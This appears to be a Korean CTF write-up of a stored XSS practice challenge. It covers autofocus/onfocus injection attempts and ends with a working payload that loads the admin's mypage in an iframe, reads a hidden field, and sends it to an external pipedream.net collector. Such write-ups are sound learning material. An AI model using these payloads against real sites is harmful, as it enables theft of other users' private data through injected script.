admin 계정의 마이페이지의 정보란에 flag가 숨겨져있다!
마이페이지에 들어가 보았다
URL에 admin도 넣어보았는데 admin으로 안 들어 가졌다.
문제를 보면 정보란에 플래그가 숨겨져 있다고 하는데 칸이 총 세 개인데 변경할 비밀번호 칸은 제외하고 두 군데 인걸로 예측이 됐다.
이렇게 요청해 봤는데 반응이 없는 것을 보니 reflected xss는 아닌 걸로 예측을 하고 게시판에 들어가서 글을 써보았다.
처음에 <‘”> 이런 것도 넣어보다가 잘 되는 거 같아서
“autofocus onfocus=”alert(1)” 이거를 제목에다가 넣었는데 업데이트하고 수정을 누르면
alert가 나오길래 여기서 xss가 일어나는 줄 알았다.
그래서
"autofocus onfocus="location.href=https://enxzjclfzat9.x.pipedream.net"
이렇게도 해보고
"autofocus onfocus="targetFrame();"
<iframe id="targetFrame" src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=admin"></iframe>
저렇게도 해보고 했는데 밑에 아이프레임만 작동을 했다.
저렇게 쓴 이유는 인풋 태그 안에서는 autofocus onfocus 를 사용해 공격할 수 있다고 한다.
그리고 밑에 사진처럼 아이프레임을 내용에 작성하고 제목작성란에 변수를 할당해 넣으면
전체 코드는 이렇게 되니까
<input type="text" autofocus onfocus="targetFrame();">
<iframe id="targetFrame" src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=admin"></iframe>
게시글에 관리자가 들어가면 오토포커스와 온 포커스를 이용해 아이프레임이 자동으로 딱 뜨면서 그 내용을 공격자 서버로 보낼 수 있을 거 같았는데
실패했다.
실패 이유는 stored xss라고 생각했지만 stored xss 가 맞긴 하지만
제목태그는 http://ctf.segfaulthub.com:4343/scriptPrac2/notice_read.php? id=888&view=1 이 페이지에서 발생하고 있었고
input 태그도 아닌 div 태그에서 발생하고 있었고 아이프레임 스크립트는 찾아볼 수 없었다. 그다음으로
이 페이지에서는 http://ctf.segfaulthub.com:4343/scriptPrac2/notice_update.php? id=888 인풋 태그에 보는 것처럼 잘 들어갔지만
밑에 아이프레임은 html entity를 당하고 있었다.
그러니까 페이지가 맞으면 html entity당했고
페이지가 안 맞으면 안 맞았다.
완전 엇갈린 거 같다.
그래서 글작성폼에 들어가는 아이프레임이 맞는 거 같다고 결심했다.
이렇게 넣고
<iframe id="targetFrame" src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=admin"></iframe>
<script>
document.getElementById('targetFrame').onload = function() {
var iframe = document.getElementById('targetFrame');
var iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
var placeholderText = iframeDocument.getElementById('userInfo').placeholder;
var img = new Image();
img.src = 'https://enxzjclfzat9.x.pipedream.net/' + encodeURIComponent(placeholderText);
};
</script>
html 요소에서 자바스크립트로 게시물을 도둑질하기 위해 document 썼고 완벽하게 빼오기 위해 로드를 기다리게 했다.
이렇게 나오는데 이 링크를 관리자가 눌러버리면
플래그를 획득할 수 있다.